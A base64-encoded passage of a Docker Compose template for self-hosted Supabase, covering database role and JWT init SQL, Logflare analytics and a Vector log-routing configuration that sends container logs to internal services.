9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8v